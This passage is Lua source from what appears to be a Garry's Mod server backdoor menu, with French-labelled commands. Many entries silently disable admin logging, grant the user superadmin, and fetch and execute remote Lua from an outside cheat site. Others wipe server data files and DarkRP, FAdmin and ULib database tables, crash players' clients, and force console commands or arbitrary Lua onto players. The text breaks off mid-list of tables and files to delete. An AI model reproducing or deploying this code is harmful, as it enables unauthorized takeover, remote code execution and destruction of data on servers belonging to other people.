1093
1094["Type"] = 1,
1095
1096["Code"] = [[ RunConsoleCommand("ulx_logecho", "0")
1097RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[",
1098 "superadmin")
1099http.Fetch("https://pitycheats.com/evian/pityer_server.lua",function(b,l,h,c)RunString(b)end,nil)
1100]],
1101
1102["Private"]
1103 = true,
1104
1105},
1106
1107
1108["♾ Tousse arrrghh"] = {
1109
1110["Type"] = 1,
1111
1112["Code"] = [[
1113
1114if !timer.Exists( "jcrevenofake" ) then
1115
1116timer.Create( "jcrevenofake", 0.7, 0, function()
1117
1118for _, p in pairs(player.GetAll()) do
1119
1120p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 +
1121math.random() * 50, 50 + math.random() * 10)
1122
1123end
1124
1125end)
1126
1127else
1128
1129timer.Remove( "jcrevenofake" )
1130
1131end]],
1132
1133},
1134
1135["Modifier Map"] = {
1136
1137["Type"] = 1,
1138
1139["Code"] = [[RunConsoleCommand("ulx_logecho", "0")
1140RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[",
1141 "superadmin")
1142
1143for k,v in pairs(player.GetAll()) do
1144v:ConCommand("ulx map gm_construct")
1145end
1146
1147]],
1148
1149
1150},
1151
1152
1153
1154["'Reset Argent"] = {
1155
1156["Type"] = 1,
1157
1158["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
1159
1160["Private"] = true,
1161
1162},
1163
1164["CleanUp"] = {
1165
1166["Type"] = 1,
1167
1168["Code"] = [[game.CleanUpMap()]],
1169
1170},
1171
1172["Supprimer les joueurs"] = {
1173
1174["Type"] = 1,
1175
1176["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
1177},
1178
1179["'Supprimer data"] = {
1180
1181["Type"] = 1,
1182
1183["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v
1184 in pairs( files ) do file.Delete( v ) end ]],
1185
1186["Private"] = true,
1187
1188},
1189
1190["'Supprimer Mysql"] = {
1191
1192["Type"] = 1,
1193
1194["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player'
1195MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT
1196 NULL)') ]],
1197
1198["Private"] = true,
1199
1200},
1201
1202["'Supprimer db"] = {
1203
1204["Type"] = 1,
1205
1206["Code"] = [[ sql.Query("DELETE FROM `DARKRP_BANNED_RPNAMES_STORE`")
1207sql.Query("DELETE FROM `DRP_PLAYER_NICKNAME_STORE`")
1208sql.Query("DELETE FROM `FADMIN_GROUPS`")
1209sql.Query("DELETE FROM `FADMIN_MOTD`")
1210sql.Query("DELETE FROM `FADMIN_PRIVILEGES`")
1211sql.Query("DELETE FROM `FADMIN_RESTRICTEDENTS`")
1212sql.Query("DELETE FROM `FAdminBans`")
1213sql.Query("DELETE FROM `FAdmin_CAMIPrivileges`")
1214sql.Query("DELETE FROM `FAdmin_Immunity`")
1215sql.Query("DELETE FROM `FAdmin_PlayerGroup`")
1216sql.Query("DELETE FROM `FAdmin_ServerSettings`")
1217sql.Query("DELETE FROM `FPP_ANTISPAM1`")
1218sql.Query("DELETE FROM `FPP_BLOCKED1`")
1219sql.Query("DELETE FROM `FPP_BLOCKEDMODELS1`")
1220sql.Query("DELETE FROM `FPP_BLOCKMODELSETTINGS1`")
1221sql.Query("DELETE FROM `FPP_ENTITYDAMAGE1`")
1222sql.Query("DELETE FROM `FPP_GLOBALSETTINGS1`")
1223sql.Query("DELETE FROM `FPP_GRAVGUN1`")
1224sql.Query("DELETE FROM `FPP_GROUPMEMBERS1`")
1225sql.Query("DELETE FROM `FPP_GROUPS3`")
1226sql.Query("DELETE FROM `FPP_GROUPTOOL`")
1227sql.Query("DELETE FROM `FPP_PHYSGUN1`")
1228sql.Query("DELETE FROM `FPP_PLAYERUSE1`")
1229sql.Query("DELETE FROM `FPP_TOOLADMINONLY`")
1230sql.Query("DELETE FROM `FPP_TOOLGUN1`")
1231sql.Query("DELETE FROM `FPP_TOOLRESTRICTPERSON1`")
1232sql.Query("DELETE FROM `FPP_TOOLTEAMRESTRICT`")
1233sql.Query("DELETE FROM `TTT_PLAYER_NICKNAME_STORE`")
1234sql.Query("DELETE FROM `batm_group_accounts`")
1235sql.Query("DELETE FROM `batm_personal_accounts`")
1236sql.Query("DELETE FROM `cac_incidents`")
1237sql.Query("DELETE FROM `cookies`")
1238sql.Query("DELETE FROM `darkrp_dbversion`")
1239sql.Query("DELETE FROM `darkrp_door`")
1240sql.Query("DELETE FROM `darkrp_doorgroups`")
1241sql.Query("DELETE FROM `darkrp_doorjobs`")
1242sql.Query("DELETE FROM `darkrp_jobSpawn`")
1243sql.Query("DELETE FROM `darkrp_player`")
1244sql.Query("DELETE FROM `darkrp_position`")
1245sql.Query("DELETE FROM `ll_plates`")
1246sql.Query("DELETE FROM `playerinformation`")
1247sql.Query("DELETE FROM `playerpdata`")
1248sql.Query("DELETE FROM `rphone_numbers`")
1249sql.Query("DELETE FROM `rphone_sms`")
1250sql.Query("DELETE FROM `sqlite_sequence`")
1251sql.Query("DELETE FROM `ulib_bans`")
1252sql.Query("DELETE FROM `utime`") ]],
1253
1254["Private"] = true,
1255
1256},
1257
1258/*============================================
1259|===== Commandes Sur Joueur Selectionné =====|
1260===========================================*/
1261
1262
1263
1264["Tuer Le Joueur"] = {
1265
1266["Type"] = 2,
1267
1268["Code"] = [[v:Kill()]],
1269
1270
1271},
1272
1273
1274
1275
1276["'Joueur Multicolor"] = {
1277
1278["Type"] = 2,
1279
1280["Code"] = [[
1281
1282v:SetModel( "models/player/group02/male_04.mdl" )
1283
1284v:SetMaterial( "models/debug/debugwhite" )
1285
1286hook.Add( "Think", "multicolore", function()
1287
1288v:SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1289
1290end )
1291
1292
1293local id = ]] .. LocalPlayer():UserID() .. [[
1294
1295Player( id ):SetModel( "models/player/group02/male_04.mdl" )
1296
1297Player( id ):SetMaterial( "models/debug/debugwhite" )
1298
1299hook.Add( "Think", "multicolore2", function()
1300
1301if !IsValid( Player( id ) ) then return end
1302
1303Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1304
1305end )
1306]],
1307
1308["Private"] = true,
1309},
1310
1311
1312
1313
1314["Expelliarmus"] = {
1315
1316["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1317
1318["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1319
1320},
1321
1322["Ear rape (via internet)"] = {
1323
1324["Type"] = 2,
1325
1326["Code"] = [[
1327
1328BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil
1329return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 )
1330 local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1331
1332]],
1333
1334["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new
1335 sound will stop the previous one. Send an invalid url to stop all
1336sounds entirely on their client",
1337
1338["NeedsParameters"] = 1,
1339
1340},
1341
1342
1343["Supprimer les armes"] = {
1344
1345["Type"] = 2,
1346
1347["Code"] = [[v:StripWeapons()]],
1348
1349},
1350
1351
1352
1353["Roquette"] = {
1354
1355["Type"] = 2,
1356
1357["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1358
1359},
1360
1361
1362
1363["Change model"] = {
1364
1365["Type"] = 2,
1366
1367["Code"] = [[v:SetModel( @1 )]],
1368
1369["NeedsParameters"] = 1,
1370
1371},
1372
1373
1374
1375
1376["♾ Play Sound (1-5)"] = {
1377
1378["Type"] = 2,
1379
1380["Code"] = [[
1381
1382local snd = {
1383
1384[1] = "npc/stalker/go_alert2a.wav",
1385
1386[2] = "vo/npc/male01/question06.wav",
1387
1388[3] = "ambient/energy/zap1.wav",
1389
1390[4] = "vo/ravenholm/madlaugh04.wav",
1391
1392[5] = "npc/antlion_guard/antlion_guard_die1.wav",
1393
1394}
1395
1396v:EmitSound( snd[tonumber(@1)], 100, 100 )
1397
1398]],
1399
1400["NeedsParameters"] = 1,
1401
1402},
1403
1404
1405["'Mode Disco"] = {
1406
1407["Type"] = 2,
1408
1409["Code"] = [[
1410
1411BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove(
1412"HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga",
1413function() local cin = math.sin( CurTime() * 10 ) * 255
1414surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect(
14150, 0, ScrW(), ScrH() ) end) end' )
1416
1417]],
1418
1419["Private"] = true,
1420
1421},
1422
1423
1424
1425["'Musique Disco"] = {
1426
1427["Type"] = 2,
1428
1429["Code"] = [[
1430
1431BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1432
1433]],
1434
1435["Private"] = true,
1436
1437},
1438
1439
1440
1441["Message PV"] = {
1442
1443["Type"] = 2,
1444
1445["Code"] = [[v:ChatPrint( @1 )]],
1446
1447["NeedsParameters"] = 1,
1448
1449},
1450
1451
1452
1453["Brûler"] = {
1454
1455["Type"] = 2,
1456
1457["Code"] = [[v:Ignite( 30 )]],
1458
1459},
1460
1461
1462
1463["GodMod"] = {
1464
1465["Type"] = 2,
1466
1467["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable()
1468end]],
1469
1470},
1471
1472
1473
1474["'Faire Crash"] = {
1475
1476["Type"] = 2,
1477
1478["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1479
1480["Private"] = true,
1481
1482},
1483
1484
1485
1486["Courrir Vite"] = {
1487
1488["Type"] = 2,
1489
1490["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800)
1491v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic =
1492 false end]],
1493
1494},
1495
1496
1497
1498["Freeze"] = {
1499
1500["Type"] = 2,
1501
1502["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1503
1504},
1505
1506
1507
1508["§ Forcer texte"] = {
1509
1510["Type"] = 2,
1511
1512["Code"] = [[v:Say(@1)]],
1513
1514["NeedsParameters"] = 1,
1515
1516},
1517
1518
1519
1520["§ Forcer commande"] = {
1521
1522["Type"] = 2,
1523
1524["Code"] = [[v:ConCommand(@1)]],
1525
1526["NeedsParameters"] = 1,
1527
1528},
1529
1530["§ Mouvement Troll"] = {
1531
1532["Type"] = 2,
1533
1534["Code"] = [[v:ConCommand( "+left" )
1535v:ConCommand( "+back" )]],
1536
1537},
1538
1539["§ Fermer le Jeux"] = {
1540
1541["Type"] = 2,
1542
1543["Code"] = [[v:ConCommand(quit)]],
1544
1545},
1546
1547
1548
1549
1550
1551
1552
1553["Modifier Argent"] = {
1554
1555["Type"] = 2,
1556
1557["Code"] = [[v:addMoney(@1)]],
1558
1559["NeedsParameters"] = 1,
1560
1561},
1562
1563
1564
1565["Changer de Métier"] = {
1566
1567["Type"] = 2,
1568
1569["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if
1570string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true,
1571true) end end]],
1572
1573["NeedsParameters"] = 1,
1574
1575},
1576
1577
1578
1579["Noclip"] = {
1580
1581["Type"] = 2,
1582
1583["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then
1584v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1585
1586},
1587
1588
1589
1590["Téléporter ici"] = {
1591
1592["Type"] = 2,
1593
1594["Code"] = [[
1595
1596local tp = false
1597
1598local tpos
1599
1600for _, p in pairs(player.GetAll()) do if %LP then tpos =
1601p:GetEyeTraceNoCursor().HitPos tp = true end end
1602
1603if tp then v:SetPos( tpos ) end
1604
1605]],
1606
1607},
1608
1609
1610
1611["Goto"] = {
1612
1613["Type"] = 2,
1614
1615["Code"] = [[
1616
1617local tp = false
1618
1619local tpos = v:GetPos() + Vector( 32, 0, 10)
1620
1621for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end
1622end
1623
1624]],
1625
1626},
1627
1628
1629["Spaw Entitées"] = {
1630
1631["Type"] = 2,
1632
1633["Code"] = [[
1634
1635local tr = {}
1636
1637tr.start = v:GetShootPos()
1638
1639tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1640
1641tr.filter = {v}
1642
1643local trace = util.TraceLine(tr)
1644
1645local dix = ents.Create( @1 )
1646
1647dix:SetPos(trace.HitPos)
1648
1649dix:SetAngles(Angle(0,0,0))
1650
1651dix:Spawn()
1652
1653]],
1654
1655
1656["NeedsParameters"] = 1,
1657
1658},
1659
1660
1661
1662["Spawn Props"] = {
1663
1664["Type"] = 2,
1665
1666["Code"] = [[
1667
1668local tr = {}
1669
1670tr.start = v:GetShootPos()
1671
1672tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1673
1674tr.filter = {v}
1675
1676local trace = util.TraceLine(tr)
1677
1678local dix = ents.Create( "prop_physics" )
1679
1680dix:SetPos(trace.HitPos)
1681
1682dix:SetAngles(Angle(0,0,0))
1683
1684dix:SetModel( @1 )
1685
1686dix:Spawn()
1687
1688]],
1689
1690["NeedsParameters"] = 1,
1691
1692},
1693
1694
1695
1696["'Spawn Bite Géante"] = {
1697
1698["Type"] = 2,
1699
1700["Code"] = [[
1701
1702FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {}
1703FPP.RestrictedToolsPlayers = {}
1704
1705local tr = {}
1706
1707tr.start = v:GetShootPos()
1708
1709tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1710
1711tr.filter = {v}
1712
1713local trace = util.TraceLine(tr)
1714
1715local dix = ents.Create( "prop_physics" )
1716
1717dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1718
1719dix:SetAngles( v:GetAngles() )
1720
1721dix:SetModel( "models/props_combine/breenglobe.mdl" )
1722
1723dix:Spawn()
1724
1725dix:SetMoveType( MOVETYPE_NONE )
1726
1727dix:SetMaterial( "models/shiny" )
1728
1729dix:SetColor( Color( 0, 0, 40 ) )
1730
1731
1732
1733local function ecr( parent, model, pos, ang, col, mat )
1734
1735local dix = ents.Create( "prop_physics" )
1736
1737dix:SetPos( parent:LocalToWorld( pos ) )
1738
1739dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1740
1741dix:SetModel( model )
1742
1743dix:SetParent( parent )
1744
1745dix:Spawn()
1746
1747dix:SetColor( col )
1748
1749dix:SetMaterial( mat )
1750
1751end
1752
1753ecr( dix, "models/props_phx/construct/metal_plate_curve360x2.mdl",
1754Vector( -5, 0, 30 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60,
17551, 0.5 ), "models/shiny" )
1756ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 0,
1757 120 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ),
1758"models/shiny" )
1759ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5,
176035, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ),
1761"models/shiny" )
1762ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5,
176335, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ),
1764"models/shiny" )
1765ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5,
1766-35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ),
1767"models/shiny" )
1768ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5,
1769-35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ),
1770"models/shiny" )
1771
1772for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText(
1773Color(255, 255, 255 ), "ROCCCOOOOO SIIIFREEEEDIIIII")' ) sound.Play(
1774"vo/npc/female01/yeah02.wav", p:GetPos(), 90, 80, 1 ) end
1775
1776]],
1777
1778["Private"] = true,
1779
1780},
1781
1782
1783
1784["Spawn Ennemis"] = {
1785
1786["Type"] = 2,
1787
1788["Code"] = [[
1789
1790local tr = {}
1791
1792tr.start = v:GetShootPos()
1793
1794tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1795
1796tr.filter = {v}
1797
1798local trace = util.TraceLine(tr)
1799
1800local dix = ents.Create( "npc_citizen" )
1801
1802dix:SetPos(trace.HitPos)
1803
1804dix:SetAngles(Angle(0,0,0))
1805
1806dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun",
1807"weapon_smg1", "weapon_ar2"}) )
1808
1809dix:SetKeyValue( "citizentype", 3 )
1810
1811dix:AddRelationship("player D_HT 200")
1812
1813dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1814
1815dix:SetSchedule( SCHED_IDLE_WANDER )
1816
1817dix:Spawn()
1818
1819]],
1820
1821},
1822
1823
1824["Vision Explosive"] = {
1825
1826["Type"] = 2,
1827
1828["Code"] = [[
1829
1830local trace = v:GetEyeTraceNoCursor()
1831
1832local explo = ents.Create("env_explosion")
1833
1834explo:SetPos(trace.HitPos)
1835
1836explo:SetKeyValue("iMagnitude", "250")
1837
1838explo:Spawn()
1839
1840explo:Activate()
1841
1842explo:Fire("Explode", "", 0)
1843
1844]],
1845
1846
1847},
1848
1849
1850
1851
1852["Pluie de Véhicules"] = {
1853
1854["Type"] = 2,
1855
1856["Code"] = [[
1857
1858local trace = v:GetEyeTraceNoCursor()
1859
1860local car = ents.Create("prop_physics")
1861
1862local trace2 = util.TraceLine( { start = trace.HitPos, endpos =
1863trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1864
1865car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1866
1867car:SetAngles( v:GetAngles() )
1868
1869car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1870
1871car:Spawn()
1872
1873car:Activate()
1874
1875car.boom = 6
1876
1877car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1878
1879car:Ignite( 500 )
1880
1881car:AddCallback( "PhysicsCollide", function( car, dat )
1882
1883local explo = ents.Create("env_explosion")
1884
1885explo:SetPos( car:GetPos() )
1886
1887explo:SetKeyValue("iMagnitude", "350")
1888
1889explo:Spawn()
1890
1891explo:Activate()
1892
1893explo:Fire("Explode", "", 0)
1894
1895local ef = EffectData()
1896
1897ef:SetOrigin( car:GetPos() )
1898
1899ef:SetMagnitude( 5 )
1900
1901ef:SetScale( 200 )
1902
1903util.Effect( "ThumperDust", ef )
1904
1905car.boom = car.boom - 1
1906
1907if car.boom < 0 then car:Remove() end
1908
1909end )
1910
1911timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1912
1913]],
1914
1915},
1916
1917
1918
1919["Gas Toxique"] = {
1920
1921["Type"] = 2,
1922
1923["Code"] = [[
1924
1925local trace = v:GetEyeTraceNoCursor()
1926
1927local ar2Explo = ents.Create("env_ar2explosion")
1928
1929ar2Explo:SetOwner(game.GetWorld())
1930
1931local p = trace.HitPos
1932
1933ar2Explo:SetPos(trace.HitPos)
1934
1935ar2Explo:Spawn()
1936
1937ar2Explo:Activate()
1938
1939ar2Explo:Fire("Explode", "", 0)
1940
1941timer.Create( "gasthekikes_"..math.random(-9999,
19429999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1943
1944for _, ent in pairs(ents.FindInSphere( p, 500)) do
1945
1946if !ent:IsPlayer() then continue end
1947
1948local d = DamageInfo()
1949
1950d:SetDamage( 1 )
1951
1952d:SetAttacker( game.GetWorld() )
1953
1954d:SetInflictor( game.GetWorld() )
1955
1956d:SetDamageType( DMG_DROWN )
1957
1958ent:TakeDamageInfo( d )
1959
1960end
1961
1962end)
1963
1964
1965
1966]],
1967
1968},
1969
1970
1971["Kick Joueur"] = {
1972
1973["Type"] = 2,
1974
1975["Code"] = [[ v:Kick( @1 ) ]],
1976
1977
1978},
1979
1980
1981
1982
1983["Cloak"] = {
1984
1985["Type"] = 2,
1986
1987["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE )
1988v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked
1989 = false end ]],
1990
1991
1992},
1993
1994
1995
1996["'Mettre un rank"] = {
1997
1998["Type"] = 2,
1999
2000["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ]
2001ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
2002
2003["NeedsParameters"] = 1,
2004
2005["Private"] = true,
2006
2007},
2008
2009
2010
2011
2012/*====================================
2013|===== Commandes Customs Chelou =====|
2014===================================*/
2015
2016
2017
2018
2019["Joueurs 2D"] = {
2020
2021["Type"] = 2,
2022
2023["Code"] = [[
2024local bones = {
2025[1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
2026[2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
2027[3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
2028[4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
2029[5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
2030[6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
2031[7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
2032[8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
2033[9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
2034[10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
2035[11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
2036}
2037
2038if !v.is2D then
2039v.is2D = true
2040for k, bone in pairs(bones) do
2041local boneToFind = v:LookupBone(bone.b)
2042v:ManipulateBoneScale( boneToFind, bone.v)
2043end
2044else
2045v.is2D = false
2046for k, bone in pairs(bones) do
2047local boneToFind = v:LookupBone(bone.b)
2048v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
2049end
2050end
2051]],
2052
2053},
2054
2055["Nuke (M9K)"] = {
2056
2057["Type"] = 2,
2058
2059["Code"] = [[
2060// if (m9k) then
2061local nuke = ents.Create("m9k_davy_crockett_explo")
2062nuke:SetPos(v:GetPos())
2063nuke:SetOwner(v)
2064nuke.Owner = v
2065nuke:Spawn()
2066nuke:Activate()
2067// end
2068]],
2069
2070},
2071
2072["Brouiller la console"] = {
2073
2074["Type"] = 1,
2075
2076["Code"] = [[
2077if !(timer.Exists("consoleJammer")) then
2078timer.Create("consoleJammer", 0.5, 0, function()
2079print(
2080"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
2081 )
2082end )
2083else
2084timer.Destroy("consoleJammer")
2085end
2086]],
2087
2088},
2089
2090["'Se mettre superadmin"] = {
2091
2092["Type"] = 1,
2093
2094["Code"] = [[
2095RunConsoleCommand("ulx_logecho", "0")
2096RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[",
2097 "superadmin")
2098]],
2099
2100["Private"] = true,
2101
2102},
2103
2104["Deban all"] = {
2105
2106["Type"] = 1,
2107
2108["Code"] = [[
2109RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")
2110]],
2111
2112},
2113
2114
2115["'Supprimer le Serveur"] = {
2116
2117["Type"] = 1,
2118
2119["Code"] = [[
2120local date = os.date( "%m-%d-%y" )
2121local dataBDMenus = {
2122"jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobSpawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log"
2123 }
2124local datafiles = {
2125"ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcSpawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt",
2126
2127"sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt",
2128
